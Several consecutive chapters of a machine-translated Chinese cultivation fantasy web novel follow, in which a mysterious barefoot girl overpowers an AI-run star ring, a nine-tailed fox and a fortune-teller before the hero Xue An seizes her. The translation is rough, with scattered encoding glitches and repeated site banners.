    As for her face, it is as beautiful as a dream.


    Especially the long legs hidden by her lotus skirts are straight and slender to the point of breathtaking.


    The key point is that she is still bare feet, a pair of exquisite feet, even the toes with pale pink feet just stepping in the void.


    In this savage void, such an elf-like girl suddenly appeared, which was already incredible enough.


    More importantly, this girl stood pretty in the void. Although there was no movement, the surrounding void seemed to be an automatic protector, condensing into an extremely strong existence.


    This star ring just hit this one before it was almost broken into pieces by the shock.


    Zhang Tianyou watched this scene blankly, and then said softly: "Huanhuan, detect the combat power of this girl!"


    Huanhuan said with a serious face: "I have detected it just now!"


    "How is the result?"


    Huanhuan was silent for a moment, and then slowly said: "The combat power detector has exploded directly!"


    Zhang Tianyou: "..."


    Then she looked at the girl in amazement, her eyes sparkling.


    "You can''t see the slightest momentum from the outside, but it can prevent the starring from being stored, and the combat power indicators cannot be observed. Are you also the best among those old-school monks? God, I really want to get a tube of blood to test it. Fan!"


    But at this moment, she seemed to perceive a trace of maliciousness in Zhang Tianyou''s heart, and the girl suddenly raised her eyes and looked at him.


    Although there was a star ring between them, Zhang Tianyou still trembled, and then he felt a chill surge from the bottom of his heart, making his hair stand upright.


    Soon after, the girl laughed.


    Her smile, like a thousand flowers blooming together, is fascinating and unable to extricate herself.


    Then I saw the girl''s lotus feet move lightly and took a step forward.


    It was such an ordinary step, but it directly crossed the barrier between her and Zhang Tianyou, stepped directly into the starring command cabin from the void of the outside world, and appeared in front of Zhang Tianyou.


    During the whole process, the void was unhappy, as if a door was opened calmly.


    Zhang Tianyou''s eyes widened instantly.


    And the artificial intelligence ring that controls this entire star ring started the defense program without hesitation.


    Almost in the blink of an eye, along with the sound of dense mechanical gears rotating, the huge guns with dangerous light gleaming in the muzzle of countless muzzles stretched out from all sides of the command cabin, all aimed at the girl.


    But this girl didn''t even glance at these terrifying killers, just smiled.


    The muzzles of these guns grew out of the light blue, beautiful flowers.


    As soon as the flowers bloomed, these guns quickly rusted and aged as if they had experienced a long period of baptism in an instant.


    In the blink of an eye, these guns disappeared.


    The girl didn''t even move her hand.


    Huanhuan''s complexion became more serious, and Zhang Tianyou stopped her when he just wanted to continue doing it.


    "Once you are done, go back!"


    "But Doctor..."


    "I said, step back!" Zhang Tianyou said coldly.


    "Yes, Doctor!"


    Huanhuan took a deep look at the girl, then took a step back, blended into the ground quietly, and disappeared.


    The girl looked at Zhang Tianyou, then opened her lips and said in a very calm and calm tone.


    "Very interesting artificial intelligence, actually mixed with human soul!"


    Zhang Tianyou said with a resigned expression, did not speak, just listened quietly.


    "Did you just want to draw my blood?"


    The girl Lianbu moved lightly she came to the podium in front of Zhang Tianyou without touching the dust, and sat directly on it, with her amazingly long legs, so she could look at Zhang Tianyou in time.


    Zhang Tianyou nodded honestly, "Yes."


    "Then do you still think about it?"


    Zhang Tianyou shook his head, "No more!"


    "Chuckchchchchch!" The girl covered her mouth and smiled, then her eyes flowed, and she said softly: "I don''t want to...or dare not?"


    "I don''t want to, at the same time I dare not!" Zhang Tianyou turned his head to the side and replied seriously.


    "Greasy mouth and tongue!" The girl chuckled a few times, and then she didn''t see any movement, and the whole person came to Zhang Tianyou.


    "You don''t seem to dare to look at me?"


    Zhang Tianyou squeezed a strong smile on his face, "Wh... no!"


    The girl stretched out her hand, and lightly stroked Zhang Tianyou''s face with green fingers.


    Wherever he went, the muscles on Zhang Tianyou''s face trembled, and an expression of infinite horror appeared in his eyes.


    "Don''t worry, I won''t kill you, because although you don''t have legs, you are more men than some healthy men in many places!" The girl said with a light smile.


    But these words are enough to make people think.


    Especially when speaking from the mouth of such an elf-like girl, the charm is even more amazing.


    But Zhang Tianyou didn''t have any expressions other than the panic in his eyes.


    "It''s boring!" The girl curled her lips, "I''m so afraid of death, I won''t play with you!"


    When the words fell, she reappeared on the previous podium, but she hadn''t waited for Zhang Tianyou to breathe.


    But seeing the girl waved her hand, a picture scroll appeared in front of her, on which was a picture of a young man dressed in white with picturesque brows.


    Then the girl said lightly: "Have you... ever seen him?"

 Chapter 2085： Breathtaking means

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    After seeing this portrait, Zhang Tianyou''s pupils instantly shrank to the size of a needle.


    When the girl saw this, she became excited immediately, "Oh? Looks like you should recognize him, where is he now? Take me to see him!"


    Zhang Tianyou shook his head, "I don''t know."


    "I don''t know?" The girl instantly appeared in front of Zhang Tianyou, and stood in the air, looking down at him condescendingly.


    "I really don''t know!" Zhang Tianyou didn''t even blink his eyes as he spoke, and he was very calm.


    But the next second, he couldn''t calm down anymore, because his whole person was suddenly dragged into the air by an invisible force.


    "Doctor!"


    The cry of artificial intelligence came from the star ring, and I didn''t know if it was an illusion or something. The voice seemed to be mixed with a trace of anxiety.


    Immediately afterwards, I saw that the entire command cabin began to deform rapidly, and guns that were extremely huge and at the same time gleaming dangerously shiny guns stretched out, and began to bombard the girl indiscriminately.


    Extremely dangerous death rays are flooding and rampant, and each beam has a huge energy enough to annihilate a hill.


    At the same time, countless mechanical arms came straight to Zhang Tianyou, trying to rescue him from the air.


    The whole reaction was extremely fast.


    But she is faster, this girl is faster.


    Just listen to the young girl''s chuckle under the gorgeous brilliance.


    "What should I say so that you will understand that these attacks are useless to me?"


    With the voice, but seeing the brilliance that had been flooding indiscriminately condense in an instant, and then it broke into pieces.


    At the same time, a perfect bare foot that looked like a work of art stretched out of these brilliance. In the next instant, the figure of the girl once again appeared in front of Zhang Tianyou.


    The mechanical arms that had already bound Zhang Tianyou and were about to pull back when they saw the girl, they twisted like a living thing in pain, and then shattered directly into dust.


    The girl stood in front of Zhang Tianyou, her eyes were level, and she said lightly: "I will ask again, where is this person now?"


    Zhang Tianyou didn''t speak, but shook his head hard.


    The girl was not irritated, but giggled, "Very well, I like spine men very much, but then, I hope you can persist like this."


    After that, the girl''s finger lightly tapped in front of her, and the space rippled like water. Then, the girl''s finger slowly penetrated into it, and Zhang Tianyou''s face immediately showed an expression of extreme pain.


    His mouth was wide open, and although he couldn''t make a sound, he could deeply feel his pain that was so intense that it was beyond description.


    "Let go of Doctor!" Xinghuan roared, and then appeared beside Zhang Tianyou, trying to save Zhang Tianyou.


    But the girl only glanced at the star ring lightly, and her body exploded.


    At the same time, the girl said lightly: "Don''t challenge my patience again and again, otherwise I can''t guarantee what I will do!"


    With that said, the girl''s finger was pulled out of the void little by little, and what was brought out together was a bunch of pink color, and at the same time it was still beating slightly... the brain!


    That''s right!


    It is a person''s complete brain.


    I saw it suspended in the void, and its surface like tofu was trembling slightly, and inside it was a faint sight of blood flowing in that dense cobweb-like blood vessel.


    Such a scene would have been shocking and frightening.


    But the key is not this, the key is that this brain is always alive.


    That''s right!


    Although it is suspended in the air, it is still active and thinking.


    As for Zhang Tianyou, at this moment, his eyes have become extremely hollow, and the look on his face is extremely dull.


    The girl chuckled, then stretched out her hand to gently press the brain, and said lightly: "How do you feel now? Do you think your mind is clearer?"


    Even Star Ring, as an artificial intelligence, can''t help but feel terrified after seeing this scene.


    Because this girl''s method is really incredible, she just stretched out her hand to dig out a person''s brain, and at the same time ensured that it was alive.


    This can only be done by the devil.


    But on the face of this girl with a peerless appearance, there was no cruelty in the slightest, but only the innocence and splendor of interest.


    This kind of strong contrast makes a chill in my heart.


    At the same time, after Zhang Tianyou''s brain trembled for a while, a faint phantom appeared on it.


    It is the projection of Zhang Tianyou''s divine consciousness.


    I saw that he looked around at first with some suspicion, but soon an extremely excited and curious look appeared on his face.


    "It''s really interesting. How can you actually take out the human brain without damaging any organs and guarantee the complete survival of the brain?"


    "Want to know?" the girl asked with a chuckle.


    Zhang Tianyou nodded heavily, "Of course I want to know!"


    "Then I won''t tell you."


    Zhang Tianyou: "..."


    Immediately afterwards, I saw the young girl stretch out her hand to gently brush the projection of Zhang Tianyou''s spiritual consciousness.


    Zhang Tianyou��s projection of God��s consciousness froze in the air for an instant, and then a huge amount of information flooded into the girl��s sea of ??knowledge like a tide But after a while, a big big face appeared on the girl��s face Smile.


    "Interestingly, I actually want to summon the power of the entire heavens to deal with the invasion from the outside world, but the question is, can you really do it?"


    After that, the girl waved her hand, and the brain that was originally suspended in the sky disappeared.


    Immediately afterwards, Zhang Tianyou''s eyes regained their agility.


    After regaining consciousness, Zhang Tianyou stretched out his hand and took a look, his face was full of amazement.


    "It''s a magical skill, it''s a magical skill."


    But the girl ignored Zhang Tianyou''s words, she only appeared in front of the podium instantly, and then lightly pointed her finger on the screen.


    In an instant, the entire star ring began to vibrate violently, then gradually faded like a ghost, and finally disappeared directly in place after a flash.


    at the same time.


    In that sword palace star field, the powerhouses from all sides are coming.


    Among them, most of them are sword repair.


    These people are basically casual cultivators scattered throughout the heavens.


    But even though they are casual cultivators, their strength is not inferior to those of the sect monks.


    This is also the reason why Xue An has to spend so much time in issuing the convening order, because this is a force that cannot be ignored.


    The entire Sword Palace star field also became more and more enthusiastic, and many cultivators gathered together in groups, talking and exchanging their experiences.


    After all, this is a rare event for many monks, and many people who are not seen at all are all gathered at this moment. Naturally, we must cherish this opportunity.


    But at this moment, a group of people suddenly came outside the sword palace star field, and the appearance of this group of people caused a commotion among these monks.


    Because all these people who came were actually demonic cultivators.

 Chapter 2086： The arrival of the fox

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    To be precise, it should be the fox family.


    And they are all top fox tribes with super strength.


    Although Demon Xiu and the Human Race have kept the water in the well over the years, after all, the ethnic group is different, so there is a natural barrier.


    At this moment, so many fox races suddenly came together, which naturally caused a commotion among these monks.


    But at this moment, I saw one of the fox monsters stand up, and after walking to the front, he took a deep breath with his hands on his hips, and then shouted.


    "Hey, the surname is Xue, your grandfather fox is here, and won''t you come out and die?"


    The sound rumblingly spread throughout the sword palace star field, and the monks moved after hearing the wind.


    Many people are even more solemn.


    Because just by asking this question, you can tell that the strength of this fox demon is absolutely extraordinary.


    The key is that at this critical moment, if these demon cultivators suddenly turn against the water, it will be troublesome.


    But at this moment, he only listened to a chuckle from the depths of the star field.


    "Fox night, I think you are itchy after a few days of getting beaten up, right! Or you have forgotten that you have lost to me 13,422 times before?"


    Following the voice, a glorious brilliance swept across, and immediately appeared in front of these fox monsters.


    It is Xue An.


    As for those who came, it was naturally the many fox tribes from the Fox Night and Qingqiu Fox Country.


    After seeing him, the arrogant face of Fox Ye was taken aback for a moment, and the expression on his face instantly became flattering.


    "Hehehehe, Brother Xue, don''t get me wrong, I just made a little joke with you!"


    Xue An looked at it with a smile, and until Fox Ye finished speaking, he said lightly: "No wonder you dare to be so arrogant, it turns out that you have already broken through as a half-step immortal emperor!"


    Huye''s expression immediately became very embarrassed, "Ahem, coincidences, all coincidences, I was joking with you!"


    "Oh? Why do I not believe you so much?" Xue An said lightly.


    Huye began to scratch his head.


    To be honest, before coming, he did have the mentality to pretend to be in front of Xue An.


    Because just a while ago, after hundreds of years of accumulation, Huye finally took that crucial step, and was promoted from the top fairy king to half step fairy emperor.


    This Linghuye was simply ecstatic, thinking that she had finally surpassed Xue An Yibo, and could well express the "resentment" that had been suppressed for thousands of years.


    But I never expected that when I came here, I found that Xue An was already a half-step immortal emperor''s cultivation base, and at the same time, his strength and power were far better than himself.


    Hu Ye was stunned at the time, she didn''t dare to be arrogant anymore, and stood aside obediently.


    At the same time, behind Huye, Arou stepped out, and then greeted Xue Anlian.


    "I have seen brother!"


    She is now married to Hu Ye, so she naturally calls Xue An after Hu Ye.


    After seeing A Rou, the expression on Xue An''s face immediately became solemn, and then nodded in return.


    "Brother and sister are polite!"


    At the same time, behind the crowd of fox monsters, a timid voice came.


    "Brother Xue!"


    Hearing this name, Xue An couldn''t help showing a gentle smile on his face, and then raised his eyes.


    But seeing Hu Ying, who hadn''t appeared in a long time, walked over with blushing cheeks.


    Xue An stretched out his hand and patted her head, "Well, it''s taller than before, she''s a big girl."


    The words are full of generosity of the elders to the younger ones.


    Fox Ying lowered her head, a look of disappointment flashed in her eyes.


    At this moment, An Yan and two little girls, Xiao Sha and Zhang Xiaoyu also arrived.


    A Rou hurriedly saluted again, "I have seen sister Yan!"


    An Yan didn''t have so much scruples, and smiled and took her and Hu Ying''s hands.


    "Okay, it''s all a family, why so much courtesy!"


    The two little girls and Zhang Xiaoyu were extremely excited to surround Fox Ying.


    "Sister Fox, Sister Fox, you finally came out, we miss you so much! Hey strange, why should I use the word appearing?" Nian Nian said with a puzzled face.


    Hu Ying was also very excited, bent over and hugged the two little girls, and kissed each of them.


    An Yan smiled and said, "Go, let''s go inside and talk!"


    As she said, she dragged Ah Ruanhuang Huying away.


    After they were gone, Hu Ye suddenly let out a sigh of relief, and then it seemed as if all the bones had been removed, his expression immediately became tired and lazy, and he complained.


    "Finally I can breathe a sigh of relief, I''m exhausted during this period of time!"


    Xue An''s face immediately showed a comprehensible expression, "Newlywed Yaner, you can understand, but you must also know how to control!"


    Hu Ye was taken aback for a moment, and then he understood what Xue An meant, and immediately took a sip, "Well, what nonsense are you talking about, Lao Tzu is very physically strong, so why would you persuade me in that respect?"


    "Then what did you just say?"


    Hu Ye sighed, and then said bitterly, "Oh, old Xue, you don��t know how I spent this time. Since I got married, this Arou has changed like a different person. His tenderness disappeared like water, but began to care about me like a child!"


    "Don��t stand or look at me I��m not sitting or looking, don��t have hippie smiles, don��t talk to other women, don��t... there are so many things that I don��t allow, it makes me seem to marry not a wife, but an old man. Same as mom."


    The night of the fox pours the bitterness of this time against Xue An.


    Xue An was also embarrassed and laughed directly, so he could only stand there and listen.


    Not only him, but even the fox tribes of the Qingqiu Fox Country who came with Fox Ye with a weird look, and then involuntarily stepped back a distance to prevent him from hearing something that shouldn''t be heard again.


    It wasn''t until Hu Yexu finished talking that Xue An said calmly, "That''s it?"


    Fox Ye''s eyes widened instantly, "Aren''t these enough?"


    Xue An shook his head, "Not enough! Because I think my younger siblings are right about you, aren''t these all your faults? I urge you to change, this is your good help!"


    Fox Ye stared at Xue An blankly, and after a long time he said in grief and angrily: "The surname is Xue, are you laughing at me, right? That must be the case!"


    Xue An nodded seriously, "Don''t doubt, I''m just laughing at you!"


    Fox Night: "..."


    But soon, the two looked at each other and smiled, and then Xue An punched Fox Ye on the shoulder.


    "Boy, it was too early!"


    "That is, I immediately put everything down after receiving your summoning order, and came here non-stop, without daring to delay a moment!" Hu Ye laughed.


    "But why are you people? What about your fox ancestor and Xiaozheng Taihuan? Are you still hiding in the Sansheng tree and dare not come down? Or are you planning to change your job to become a monkey?" Xue An asked.


    As soon as the voice fell, I heard a tired voice coming from the void.


    "Oh, I knew you couldn''t say good things about me secretly!"

 Chapter 2087： Brother Xue, how many drinks do we have?

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    With the voice, two figures, one large and one small, gradually appeared in the air.


    The leader was the nonchalant nine-tailed Tianhu Huhuan, and the young Zhengtai behind him was the great elder Huan who had come back to life.


    As soon as the two of them appeared, the fox tribes of the Qingqiu Fox Country leaned over in salute.


    Huhuan flew to Xue An with a smile, looked at Xue An up and down first, and then said in amazement.


    "Although you have known that you will be able to progress very quickly this time, but the growth rate of your cultivation base is too amazing. It takes a long time to leave, you have already proved the way of the immortal emperor, and it is only a slight difference. Is it going to break through?"


    Xue An smiled slightly, "No way, genius... just that way."


    Hu Huan, Hu Ye and others: "..."


    Then the Xiaozheng Taihu An couldn''t help muttering in a low voice: "I thought Master was shameless enough, I didn''t expect there to be even more powerful..."


    The following words stopped abruptly, because he suddenly discovered that Xue Anzheng looked at himself with a smile.


    This made him hurriedly swallowed the words that followed, smiled awkwardly, and then hid behind Huhuan.


    But Huhuan laughed loudly at this moment, and then patted Xue An on the shoulder.


    "Okay, very good, I discovered for the first time that your shameless appearance is like my back then! Is there any good wine here? All the way, my voice is so thirsty!"


    "Of course, the wine tube is enough!" Xue An smiled slightly, flashed to the side, and then said in a deep voice: "Welcome everyone, please!"


    But just as everyone was going to the sword palace star field, there was a burst of laughter from a distance.


    "What? Brother Xue, isn''t this wine for me?"


    Following the voice, a group of people appeared in front of everyone at an extremely fast speed.


    The leader is impressively an old man wearing a robe with a bun on the back of his head.


    Upon seeing this person, Xue An''s mouth couldn''t help but a faint smile appeared.


    But before he could speak, Hu Ye already grinned and cursed: "Old Zhuge, you old guy is finally willing to show up, I thought you were dead."


    That''s right, it was Zhuge Zang who came.


    I saw him smiling, "Don''t worry, you fox is dead, I can''t die!"


    After that, he just stepped forward and hit the chief inspector at Huhuan.


    "I have seen Master Fox Ancestor!"


    Hu Huan waved his hand, "Master Dao is too polite!"


    At the same time, behind Zhuge''s hiding, headed by Zhuge Hanzo, Zhuge Xuanqing and Wei Rulan, the disciples of the Zhuge family bowed and saluted.


    "I have seen Mr. Xue and all the adults!"


    The sound shook Shiye.


    Hu Ye couldn''t help but be moved, "Good fellow, old man Zhuge, you are showing all the family background."


    Zhuge Zang smiled slightly, "When this catastrophe is approaching, my Zhuge family is naturally duty-bound!"


    In fact, Zhuge Zang had already begun preparations long before receiving Xue An''s notice.


    Because he had long felt that there was an extremely powerful force hiding in the mist and staring at the heavens.


    This catastrophe is not trivial, so Zhuge Zang began to prepare early.


    When Xue An��s notice came out, Zhuge Zang immediately led all the masters of the Zhuge family to the sword palace star field.


    Therefore, the Zhuge family this time can be described as the best.


    Seeing these Zhuge family members with firm faces, Xue An was also quite moved and nodded earnestly: "Thanks for your hard work, please, please!"


    After all, Xue An personally led the way and led everyone to the star field.


    Rumbled, brilliance flicked across the sword palace star field like a torrent.


    After they left, the cultivators of the Sword Palace Star Territory were rejoicing.


    "My God, even the fortune teller Zhuge Zang is here, and the momentum here is getting bigger and bigger!" Someone exclaimed.


    "More than that, didn''t you see that Qingqiu Fox Country is also the best? A half-step immortal emperor, and two top-level existences who can''t see the strength at all. Such a formation is enough to coerce most of the heavens!" Some people even sighed.


    "Hey! If you can''t see through the strength, it''s likely to be at the first level of the Immortal Emperor. With such an existence, we didn''t even have the qualifications to meet in the past. This time, it is an eye-opener!"


    Just as the monks were talking and sighing.


    Xue Anye has led everyone to the sword palace.


    The sword palace at this time has been temporarily changed to the place where guests from all sides are entertained.


    The arrival of Fox Night and Zhuge Zang and others made this place even more lively.


    All kinds of delicacies and delicious, aged wine and fine wines are presented like running water.


    The nine-tailed celestial fox Huan didn''t care about his own image. He sat down and began to feast on it. The gobbled food looks like he hasn''t eaten in a few years.


    Xiaozheng Taihuan took a half step back in disgust, but the next second, a big greasy hand stretched out, grabbed his hand, and pulled forward.


    Fox An involuntarily walked forward, just about to speak, just at this moment, another hand grabbed a large piece of pork and stuffed it directly into his mouthuuuuu... . "Hu An struggled violently, but couldn''t get rid of the shackles of this big hand at all, and finally had no choice but to swallow.


    Huhuan laughed and said, "Good apprentice, how does this meat taste?"


    Hu An is simply eager to cry without tears. You must know that he likes to be clean by nature, but he seldom touches meaty things. Eat for the first time.


    Others at the banquet saw this Xiaozheng Taihu Ann''s grievances on his face, so they could only sigh to themselves.


    Even Xue An couldn''t help but show a faint smile on his face.


    At this moment, the Huhuan turned his head, holding a wine glass and said with a grin: "Brother Xue, I heard that you have a good drink, how about a few drinks?"


    Xue An raised his eyebrows slightly, "Oh? Are you sure you want to drink with me?"


    "Of course, I think that Huhuan is also a dignified nine-tailed sky fox, with ancient blood. I really don''t believe that I can still drink your human race!" Huhuan said with an arrogant expression.


    The corners of Xue An''s mouth gradually lifted, revealing a meaningful smile.


    "Since you say that, I will accompany you to drink a few drinks, but you can say it in advance. Don''t drink too much."


    Huhuan simply sneered, "Joke, I''m a magnificent nine-tailed sky fox, how can I drink too much? It''s even more impossible to drink too much!"


    With that said, he picked up the glass to drink.


    Xue An waved his hand, "Hold on!"


    "Huh? What do you mean? Don''t dare?" Hu Huan asked with a smile.


    "Of course not, I just think it''s too slow to drink such a cup."


    Huhuan was taken aback for a moment, and then asked: "Then how do you drink it?"


    Xue An''s eyes were cold, and he said lightly: "Why... use this!"

 Chapter 2088： But Er Xue Honglian

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    As he said, he waved his hand, two sword qi flew out, and then condensed into two huge transparent containers in midair.


    Not to mention drinking or not, just with this magical swordsmanship, they shocked the four.


    Everyone was a little dumbfounded, because these two containers were as big as a small pond. If they were filled with wine, how much would it have?


    Hu Huan suddenly regretted that he shouldn''t bet with Xue An.


    But at this moment, Xue An raised his eyebrows slightly, "Why? Don''t you dare?"


    As soon as this sentence came out, Huhuan, who had a guilty conscience, immediately straightened his chest, "Joke, how can I not dare, come here, who is afraid of whom!"


    The smile on Xue An''s face was even stronger, "Quite refreshing!"


    Sitting by the side of Fox Ye, after seeing the smile on Xue An''s face at this moment, he couldn''t help but chuckle, even covering his eyes.


    "Hu Ye, what are you doing with your eyes?" Hu An asked curiously.


    Fox Ye whispered helplessly: "It''s nothing, I just think something bad is about to happen."


    I have to say that Fox Night''s hunch is still very accurate.


    An hour later, everyone looked at this fox, which had already shown the original nine-tailed form and was dancing and dancing, and they were all dumbfounded.


    "Hahahahaha, I am a happy little fox la la la la la la la..."


    Seeing the crooked dancing posture, all the fox races lowered their heads and covered their eyes with their hands like Fox Ye.


    There is no other reason, it is really shameful.


    The fox ancestor of the dignified Qingqiu fox country, the only nine-tailed celestial fox surviving, a top-level immortal emperor-level existence, is dancing on the ground like a second-hand.


    How do you look at this picture?


    Upon seeing this, Hu Ye couldn''t help but sigh softly: "I dare to fight Xue An with alcohol, isn''t that a court death?"


    At this moment, Xue An turned to look at him.


    Although he drank three full tanks of wine, Xue An''s face didn''t even have a hint of drunkenness, and his eyes were as clear as water.


    "Fox night, now your ancestor Fox is already drunk, would you like to drink something for him?"


    Hu Ye immediately shook his head like a rattle, "No need to drink, I will give up now!"


    Xue An couldn''t help being surprised by such a straightforward counseling, but he even sighed slightly: "It seems that the amount of alcohol is too good, and there is no one to accompany drinking. This life is really lonely as snow!"


    Everyone in the audience: "..."


    Zhuge Zang watched with a smile, just about to talk.


    Suddenly, he suddenly seemed to perceive something, and immediately looked up, and at the same time the expression on his face became extremely solemn.


    "Brother Xue!"


    "Needless to say, I have sensed it!"


    With that, Xue An stood up and looked at the sky above Jian Palace with a sinking face.


    Suddenly, the banquet hall, which was full of laughter and laughter, immediately became silent, and people looked up.


    At the same time, I saw that the sky above the originally calm Sword Palace suddenly began to shake, and then a faint phantom slowly emerged.


    But in a flash, this phantom has become full and condensed.


    Then the crowd exclaimed.


    Because what appeared in front of everyone was a huge star ring.


    Such a huge star ring appeared above the sword palace without warning.


    Moreover, during the whole process, Jian Palace''s defensive array did not even move at all, and even the entire star field was very calm.


    It''s calm as if nothing happened.


    Everyone looked at it dumbfounded.


    At the same time, she heard a curious female voice coming from her.


    "Are you Xue An?"


    This sudden sound shocked everyone, and turned their heads to look at them.


    But not far in front of Xue An, I don''t know when a barefoot girl wearing a lotus skirt suddenly appeared.


    The girl tilted her head and looked at Xue An, her lavender eyes filled with curiosity, and then asked again.


    "Are you Xue An?"


    The audience was silent.


    Because all the monks felt a strong anxiety inexplicably.


    This girl''s reality was too weird, and there was no sign of any signs in the whole process.


    This unthinkable method naturally shocks many people secretly.


    Xue An just raised his eyebrows, and then said calmly: "Yes, I am Xue An!"


    As soon as the voice fell, the girl suddenly appeared in front of Xue An, so close that Xue An could see her reflection in her pair of lavender eyes.


    This unthinkable way of haunting makes many people''s scalp numb.


    Because this kind of unpredictable appearance is really terrible, there is no way to prevent it in advance!


    This also means that if she is malicious, you will be very passive.


    But Xue An did not show the slightest movement, but quietly looked at the girl in front of him, her black pupils were as deep as the sea.


    After a while, the girl curled her lips, then muttered in a voice that only she could hear.


    "As expected, he is a Chinese, even his eyes are exactly the same deep."


    As he said, the girl��s figure appeared in the distance again, and at the same time said lightly: "Since you are Xue An, I will be by your side for the next period of time, but you can continue to be you when I don��t exist. Thing."


    Xue An stared at the girl coldly, "Are you telling me?"


    "Yes!" The girl nodded I know what you want to ask, but about my identity, you shouldn''t speculate about my identity, because that is not something you can contact! In short, just remember that I have no malicious or goodwill towards you, I just want to watch the development of the situation on the sidelines! understand? "


    Guanghua flickered in Xue An''s eyes, "Oh? Just want to see the development of the situation?"


    "Correct!"


    "Then why are you holding Zhang Tianyou here again? Wouldn''t it be better to hide in the dark and observe?" Xue An said in a cold tone.


    "Haha." The girl chuckled, then leaned back in the void with a lot of time, as if sitting on a recliner easily, and then said lightly.


    "Because I was more curious about you before, so I showed up, but now it seems...but you!"


    boom!


    The audience was in an uproar.


    You must know that although Xue An''s strength has not yet recovered to its peak, he is already one of the few masters among the heavens.


    But with this kind of existence, when it comes to this girl''s mouth, it''s just nothing?


    How big is this tone!


    Many people looked at this girl with cold eyes.


    The girl didn''t care, and with a wave of her delicate hand, Zhang Tianyou''s figure appeared in front of her.


    "As for you said I held him..., do you think he is worth my hold?" The girl smiled and stroked Zhang Tianyou''s head with her hand, and said flatly.


    Zhang Tianyou has completely accepted his fate at this moment, and has no reaction to this, just looking at Xue An with a bitter face.


    The situation fell into a stalemate for a while.


    At this moment, a voice that pretended to be high-cold, but actually full of anger came.


    "Oh, what can''t you say, is it! This beautiful girl!"

 Chapter 2089： One-handed capture

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    I saw this fox drunk and hippie smilingly approaching, and then said very familiarly.


    "First introduce myself. My name is Huhuan. I am the ancestor of the Qingqiu Fox Country. This beautiful girl, your appearance successfully touched me. May I know your name?"


    While talking, Hu Huan walked forward.


    But his feet had just taken a step, and the void around him instantly turned into a cage, trapping him to death.


    In the next instant, the figure of the girl appeared in front of Huhuan, and then stretched out a hand to gently stroke his cheek, and said with a smile.


    "Although I like your praise very much, I can feel all the malice in your heart against me, so..."


    A flash of indifference suddenly flashed in the girl''s eyes, "Go and die!"


    After the words fell, starting from under Huhuan''s feet, the space exploded like glass.


    "Oh, I''m rubbing it, the little girl is pretty good!" Huhuan laughed, and a huge fox tail appeared immediately behind him, directly suppressing all the fragmented space.


    "Nine-tailed fox? Haha, it''s interesting!" The girl only sneered when she saw it, a cold light flashed in her lavender eyes, and then her delicate hand lightly touched the void in front of her.


    Puff!


    Huhuan felt that his tail was suddenly cut off by an irresistible force.


    Then a **** foxtail appeared in the girl''s hand!


    Seeing this scene, there was a burst of exclamation that couldn''t be suppressed.


    You know that Huhuan is a nine-tailed sky fox-level existence!


    But in a few breaths, the mysterious girl cut off a tail.


    This is really incredible.


    Holding the white foxtail in her hand, the girl said in a calm tone: "But it''s just a bit interesting!"


    At the same time, the drunkenness on Huhuan''s face was gone, and his expression became dignified. Then he took a deep breath, and a fox tail grew again behind him.


    But this foxtail is obviously much thinner, and it has obviously suffered some damage.


    Huhuan looked at the girl with a sinking face, "Who are you?"


    The corners of the girl''s mouth raised slightly, "I just said that you can''t touch my existence, so you don''t have to ask, and I have no malice against you, I just want to watch the development of the situation from the sidelines!"


    As soon as he finished speaking, Zhuge Zang, who had been standing silent among the crowd, suddenly opened his mouth and spit out blood.


    The girl turned her head to look at him, and said lightly: "Warlock, you have been calculating my existence since the beginning, do you know the cost now?"


    There was a look of astonishment in Zhuge Zang''s eyes.


    As the young girl said, from the moment she appeared on the stage, Zhuge Zang used heavenly secret arithmetic to deduce her origin.


    As a result, when the calculation reached the last step, an inexplicable force suddenly appeared, and heavenly arithmetic collapsed, and the huge backlash directly caused him to suffer serious injuries.


    This also made Zhuge Zang full of fear for this girl.


    To know that with Zhuge Zang''s current strength, as long as he is willing, he can perform almost everything in the heavens.


    Even in this great catastrophe, he also faintly deduced an outline long ago.


    Only when he met this girl, instead of being able to predict any results, he was injured.


    From the time this girl appeared to the present, there was only one cup of tea in total, but the two masters were injured by almost unimaginable means. This result shocked everyone in the audience.


    Including Hu Ye also said with a solemn expression in a low voice: "Lao Xue, what is the origin of this little lady? Why is it so evil! Did the romantic debt you provoke come to your door!"


    Xue An glanced at him coldly, did not speak, and then stepped forward.


    Hu Ye quietly closed his mouth, but looking at Xue An''s back, he still had some doubts in his eyes.


    What is Lao Xue planning to do? Is he confident that he can subdue this girl?


    Not only him, but many people present have this doubt in their hearts at this moment.


    At the same time, Xue An walked past Huhuan, who was firmly bound by space.


    Hu Huan couldn''t help saying: "Brother Xue, be careful, this girl is so evil!"


    Xue An didn''t have any expressions, but said lightly: "Got it!"


    Then continue to walk forward.


    The girl didn''t make any movements, but looked at Xue An who was walking towards her with interest.


    Finally, when he got close to the girl, Xue An stopped and looked at her with cold eyes.


    The girl raised her head and stared at Xue An without showing weakness.


    After a long time, Xue An''s mouth gradually raised, and a cold smile appeared.


    "You seem very confident that no one can get you off, right?"


    The girl also laughed. Her smile was like a thousand flowers blooming, but there was an indescribable arrogance in her smile.


    "It doesn''t seem to be, but it is the way it is!"


    Speaking of this, the girl licked her tongue playfully, "Why... are you not convinced?"


    "What do you think?" With the voice, Xue An slammed forward.


    A look of surprise flashed in the girl''s eyes, because even if Xue An had already done something to herself, she still could not detect the slightest malice from Xue An.


    So Xue An��s palm didn��t encounter any obstacles and came straight to her throat.


    This is too strange.


    But this astonishment only lasted for a while, and then the girl gave a smile.


    "If you don''t say hello in advance, you just do it directly. It''s really not a man!"


    A delectable and charming girl said in a defiant tone that you are not a man, which is enough to make people with less determined powers feel excited.


    But Xue An was not affected in any way, and the palm of his hand was even more straight towards the girl''s neck.


    But at this moment, the girl suddenly disappeared in place.


    The speed was so fast that only a faint shadow was left in place.


    After seeing this, Huhuan couldn''t help but sighed, "It''s useless, this girl is absolutely magical, and ordinary means can''t catch her at all..."


    Before he finished his words, Xue An suddenly snorted softly, and then his palm plunged directly into the void, and then went straight into it.


    In an instant, Xue An''s entire arm plunged into the void.


    Immediately after hearing a scream from the void, Xue An was expressionless, slowly pulling out his arm.


    In an instant, a faint figure reappeared in the void, and then it was dragged out by Xue Ansheng.


    It was the girl who disappeared suddenly.


    At this moment, she was pinched by Xue An''s neck with one hand and raised in the air, but she did not struggle, but looked at Xue An with consternation.


